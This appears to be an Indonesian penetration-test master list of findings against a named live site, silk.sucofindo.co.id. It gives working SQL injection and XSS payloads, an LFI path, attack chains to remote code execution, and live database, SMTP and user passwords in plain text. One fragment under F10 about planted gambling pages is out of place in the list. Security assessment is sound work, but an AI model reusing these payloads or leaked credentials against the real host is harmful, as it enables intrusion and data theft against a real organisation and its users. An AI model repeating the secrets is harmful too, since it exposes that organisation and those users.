# ============================================================
# MASTER LIST TEMUAN — SILK SUCOFINDO (2026-08-25)
# Semua temuan sesi, untuk laporan HTML
# ============================================================

TARGET : https://silk.sucofindo.co.id (35.219.52.208, GCP)
STACK  : nginx 1.23.4 | PHP 5.6.40 (FPM) | MySQL 5.7.44 (Docker) | Adminer 4.8.1 | PHPMailer 5.x (SMTP)
MODE   : Unauthenticated, tanpa login, GET + POST terbatas, tanpa upload
HP      : 35.219.52.208 -> hanya 80/443 terbuka

# ---------- TEMUAN (severity desc) ----------

F01 CRITICAL SQL Injection UNION-Based [lookup/HSLOV.php] POST pFilter
     MySQL 5.7.44, current_user=root@172.18.0.3 (Docker), 4 kolom, full DB read
     Payload: 48' UNION SELECT @@version,2,3,4-- -
     export: GROUP_CONCAT, schemata/tables/columns/admuser

F02 CRITICAL SQL Injection Time-Based [lookup/showOutstanding.php] GET pAreaKerja
     blind boolean/time. SLEEP(3) -> 20s delay (baseline 0.17s), BENCHMARK -> 2.12s
     -- - / UNION tidak bekerja (struktur query beda). Potensi DoS ringan.

F03 CRITICAL Broken Access Control - IDOR userList (1.325 user + password base64)
     /index.php?pPage=dXNlckxpc3Q,, -> 1.250.412 bytes, no auth
     Juga via /SILK_LAMA/?pPage=...

F04 CRITICAL 108 Halaman Admin Render Tanpa Autentikasi
     userForm (create user), pBroadcastEmailMessage (email massal), tMohonForm,
     mPublikasiRencanaAuditList, tDownloadDokumenList, listKlien, mIndustriForm,
     tMutasiKGForm, lpPendapatanVLegal, dll. Semua tanpa session.

F05 CRITICAL Adminer 4.8.1 Exposed [/adminer.php]
     + DB creds bocor (root/adm@DB#silk25/prod_dbvlegal) -> full DB via browser
     CVE-2021-21311 (SSRF) relevan. (login belum dicoba - instruksi)

F06 CRITICAL Sensitive Data Exposure - Kredensial di Source Code
     MySQL root/adm@DB#silk25 (aktif cnFile.php:21)
     SMTP admin-silk/adm@SILK#2019 (172.16.100.245:587 TLS, aktif fAutoEmail)
     SMTP lama fernando/fernando, admin/adm@silk#sucofindo (komentar)
     WS LIU KemenLHK SucofindoICS/sics2012 (debug nusoap client)

F07 CRITICAL Sensitive Data Exposure - .git/ + 23 File Source Backup
     .git/config, .git/index (1.165 file), refs/packed-refs, log
     .git/objects diblokir TAPI file non-.php disajikan statis -> 23 source (1.9MB)
     meliputi 14 versi xFile.php (2018-2023), rekomPPDVL, checkLogin, dll.

F08 CRITICAL Password Lemah & Monokultur (base64, bukan hash)
     admin password: administrator/backspace, user-admin/jkt2024,
     su-hendy/biji, test/biji, testing/biji. Password 'biji' dipakai puluhan user.
     fEnc() = base64_encode dengan '='->',' (bisa dibalik)

F09 HIGH Local File Inclusion (LFI) [pPage]
     include("page/".$pPage.".php"), traversal ../ jalan,
     pPage=../indexa -> include+eksekusi + rekursi (14.5MB), DoS kecil.
     Wrapper/blind suffix buntu, RCE via LFI mati.

F10 HIGH Reflected XSS [lookup/mobileTrial.php?pField01=] + [HSLOV?pFilter=]
     breakout attribute: value='1' onmouseover='alert(1)',
     auto-execute: ' autofocus onfocus=alert(document.cookie) '
     6 field semua reflected.

     include/cache.storage/public/jitu/index.php (RPJITU togel, 460KB)
     images/berita/index.php (Paito HK, 460KB) + google-site-verification aktif
     googlec90aa3c42a75b6a8.html. Forensik .git/index: di-stage 2025-10-20.
     Folder cache.storage & images writable+executable (risiko persist).

F11 HIGH Data Leak - 4.354 Perusahaan + Jadwal Audit
     mPublikasiRencanaAuditList: nama PT + alamat + jenis izin + tanggal + status
     Contoh: CV ABOVEE ABADI (alamat lengkap, PBUI, 2026-07-15 s/d 17, LULUS)

F12 HIGH Data Leak - Dokumen Internal Downloadable
     tDownloadDokumenList + /files/* : PDF V-Legal (338KB PT Hyun Jin),
     docx, jpeg, dsb. File bisa diunduh tanpa auth.
     Upload pattern: {source}_{nama asli}, whitelist 9 ekstensi (cek string saja)

F13 MEDIUM Information Disclosure - error_log 100MB + Range Header
     report/error_log (100MB), Range: bytes=-N didukung (baca tail/arbitrary).
     Isi: log 2015-2019 (host lama OpenVZ /home/prod/public_html/).

F14 LOW php_fast_cache SQLite Leak
     include/cache.storage/pdo.caching (SQLite 41KB) bisa diunduh utuh
     47 entry GeoIP codehelper_ip_* (April 2015) - IP + lokasi visitor.
     config.445accc...cache.ini = info sistem (prod.silk-sucofindo.biz, OpenVZ)

F15 MEDIUM EOL & Misconfiguration
     PHP 5.6.40 (EOL), display_errors ON, CAPTCHA bypass (cap1==cap2 client-side),
     Session check lemah (sInfoLogin=="" tanpa role), jQuery 1.4.2.
     SQLi pPJTNotes (UPDATE, tanpa cleanQuery) - dari source.
     Arbitrary file delete unlink($_REQUEST['pLokasiINS']) - dari source.

F16 HIGH Broken Access Control - Upload Fitur Tanpa Auth Render
     tUploadRekapitulasi (4 input file, whitelist belum terkonfirmasi!)
     forumContent (multipart), admFiles (pBackup). Rantai RCE paling praktis:
     login admin (creds bocor) -> upload .php -> RCE.

F17 INFO (positif) Hardening - RCE Tidak Tercapai
     Semua 12 vektor RCE diuji & diblokir: OUTFILE/DUMPFILE (secure_file_priv),
     LOAD_FILE, stacked query (mysqli single), CVE-2019-11043 (patched 5.6.40),
     CVE-2012-1823 (PHP-FPM), PHPMailer (IsSMTP), PEARCMD, wrapper, log/session
     poisoning. TIDAK ada file/artefak tersisa di server (diverifikasi).

# ---------- RANTAI SERANGAN PRAKTIS ----------
# A: SQLi -> password admin -> login -> upload -> RCE
# B: SQLi -> UPDATE admuser reset password -> login -> upload
# C: Adminer (creds) -> multi_query -> general_log poisoning -> RCE (2 syarat)
#    syarat: multi_query support (Adminer kemungkinan ya) + mysql bisa nulis webroot

# ---------- ARTEFAK ----------
# ~/.hackbot/reports/PENTEST_silk.sucofindo.co.id.md
# ~/.hackbot/reports/silk-evidence/ (unauth_probe.json, access_matrix2.json,
#   filelist.txt, git_index.bin, pdo_caching.sqlite, jitu_full.html, paito.html)
# /tmp/silk_git/ (script + hasil mentah)
# ~/.hackbot/exploits/silk-source-backup/ (23 file source 1.9MB)